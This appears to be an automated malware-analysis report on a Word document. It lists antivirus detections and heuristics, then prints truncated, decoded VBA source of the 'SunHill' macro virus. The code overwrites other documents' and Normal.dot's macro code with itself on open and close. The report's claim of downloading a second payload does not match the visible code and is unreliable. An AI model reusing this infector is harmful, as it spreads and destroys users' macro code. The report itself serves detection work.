MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a Microsoft Word document containing a VBA macro that is triggered by the Document_Open event. The macro is identified as 'Doc.Trojan.Sun-1' by ClamAV, and an extracted artifact is also flagged as 'Win.Trojan.C-286'. The VBA code appears to be designed to download and execute a secondary payload, a common technique for malware delivery.
Heuristics 3
-
ClamAV: Doc.Trojan.Sun-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Sun-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 7193 bytes |
SHA-256: 45b08475a3af56ba362a62878a95c623f7b448acb63e88d5e814ce57487067e6 |
|||
|
Detection
ClamAV:
Win.Trojan.C-286
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
' SunHill 1.2 By Alexey.BAS
Sub Document_Open()
Dim MyCode As String, NewLine As String, Proj, MacroIn, Comp
On Error Resume Next
If MacroContainer = "Normal.dot" Then
Set MacroIn = NormalTemplate.VBProject
NewLine = " Sub Document_Open()"
Else
Set MacroIn = ActiveDocument.VBProject
NewLine = " Sub Document_Close()"
End If
For Each Proj In VBE.VBProjects
With MacroIn.VBComponents(1).CodeModule
If Proj.Name <> .Name And _
Proj.VBComponents(1).CodeModule.Lines(1, 100) <> _
.Lines(1, 100) Then
MyCode = .Lines(1, .CountOfLines - 1)
With Proj.VBComponents(1).CodeModule
.DeleteLines 1, .CountOfLines
.InsertLines 1, MyCode
.ReplaceLine 2, NewLine
End With
End If
End With
Next Proj
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.